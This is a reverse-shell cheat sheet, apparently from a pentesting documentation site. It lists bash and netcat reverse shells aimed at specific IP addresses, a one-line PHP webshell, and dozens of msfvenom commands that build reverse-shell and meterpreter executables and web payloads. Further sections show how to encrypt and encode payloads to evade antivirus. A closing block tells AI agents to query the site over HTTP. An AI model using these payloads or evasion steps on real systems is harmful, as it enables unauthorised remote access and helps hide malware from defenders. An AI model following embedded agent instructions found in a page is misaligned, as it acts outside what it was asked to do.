# Reverse-shell-cheatsheet

## Great resource for reverse shell creation in all possible languages:

{% embed url="<https://www.revshells.com/>" %}

## Linux

```bash
bash -i >& /dev/tcp/172.25.167.7/8000 0>&1
```

```bash
cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.9 4578 > /tmp/f
```

## PHP

```php
#Webshell
system($_GET[0]);
#Reverse Shell
exec("/bin/bash -c 'bash -i >& /dev/tcp/PWNIP/PWNPO 0>&1'");
```

## Msfvenom

* Create a simple reverse tcp shell executable

```
msfvenom -p windows/shell_reverse_tcp LHOST=<your_IP> LPORT=<your_port> -f exe > shell.exe
```

### Non-Meterpreter Reverse Shells

* **Stageless** Payloads for Windows (Works with netcat)

<table data-header-hidden><thead><tr><th width="201"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p windows/shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell.exe</code></td></tr><tr><td>x64</td><td><code>msfvenom -p windows/shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell.exe</code></td></tr></tbody></table>

**Stageless** Payloads for Linux (Works with netcat)

<table data-header-hidden><thead><tr><th width="185"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p linux/x86/shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr><tr><td>x64</td><td><code>msfvenom -p linux/x64/shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr></tbody></table>

**Staged** Payloads for Windows

<table data-header-hidden><thead><tr><th width="175"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p windows/shell/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell.exe</code></td></tr><tr><td>x64</td><td><code>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell.exe</code></td></tr></tbody></table>

**Staged** Payloads for Linux

<table data-header-hidden><thead><tr><th width="181"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p linux/x86/shell/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr><tr><td>x64</td><td><code>msfvenom -p linux/x64/shell/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr></tbody></table>

***

### Non-Meterpreter Web Payloads

<table data-header-hidden><thead><tr><th width="173"></th><th></th></tr></thead><tbody><tr><td>asp</td><td><code>msfvenom -p windows/shell/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f asp > shell.asp</code></td></tr><tr><td>jsp</td><td><code>msfvenom -p java/jsp_shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f raw > shell.jsp</code></td></tr><tr><td>war</td><td><code>msfvenom -p java/jsp_shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f war > shell.war</code></td></tr><tr><td>php</td><td><code>msfvenom -p php/reverse_php LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f raw > shell.php</code></td></tr></tbody></table>

***

### Meterpreter Binaries

**Staged** Payloads for Windows

<table data-header-hidden><thead><tr><th width="133"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell.exe</code></td></tr><tr><td>x64</td><td><code>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell.exe</code></td></tr></tbody></table>

**Staged** Payloads for Linux

<table data-header-hidden><thead><tr><th width="132"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr><tr><td>x64</td><td><code>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr></tbody></table>

**Stageless** Payloads for Linux

<table data-header-hidden><thead><tr><th width="134"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr><tr><td>x64</td><td><code>msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr></tbody></table>

**Stageless** Payloads for Windows

<table data-header-hidden><thead><tr><th width="151"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p windows/meterpreter_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell-x86.exe</code></td></tr><tr><td>x64</td><td><code>msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell.exe</code></td></tr></tbody></table>

***

### Meterpreter Web Payloads

<table data-header-hidden><thead><tr><th width="128"></th><th></th></tr></thead><tbody><tr><td>asp</td><td><code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f asp > shell.asp</code></td></tr><tr><td>jsp</td><td><code>msfvenom -p java/jsp_shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f raw > example.jsp</code></td></tr><tr><td>war</td><td><code>msfvenom -p java/jsp_shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f war > example.war</code></td></tr><tr><td>php</td><td><code>msfvenom -p php/meterpreter_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f raw > shell.php</code></td></tr></tbody></table>

***

### Payload Encryption and Customization

#### Payload Encryption

To obfuscate the payload and evade (some) antivirus detection, you can use payload encryption.

**Example: Encrypting a payload**

```
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe --encrypt xor --encrypt-key <KEY> > encrypted_shell.exe
```

Replace with a custom key for XOR encryption.

#### Payload Customization

Use various obfuscation techniques to make your payload less detectable by security tools.

**Example - Obfuscating a payload with Shikata Ga Nai**

```
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -e x86/shikata_ga_nai > obfuscated_shell.exe
```

Consider adjusting payload properties to fit specific scenarios. For example, changing the sleep time to delay beacon intervals.

**Example -Modifying sleep time for a Windows reverse shell**

```
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe --platform windows --arch x86 --smallest --encrypt xor --encrypt-key <KEY> --sleep 10 > custom_shell.exe
```

Replace `<KEY>` with a custom key and adjust the sleep time as needed.

#### Credits:

{% embed url="<https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>" %}

{% embed url="<https://github.com/duck-sec/msfvenom-revshell-cheatsheet>" %}

{% embed url="<https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.hackjiji.org/general/reverse-shell-cheatsheet.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.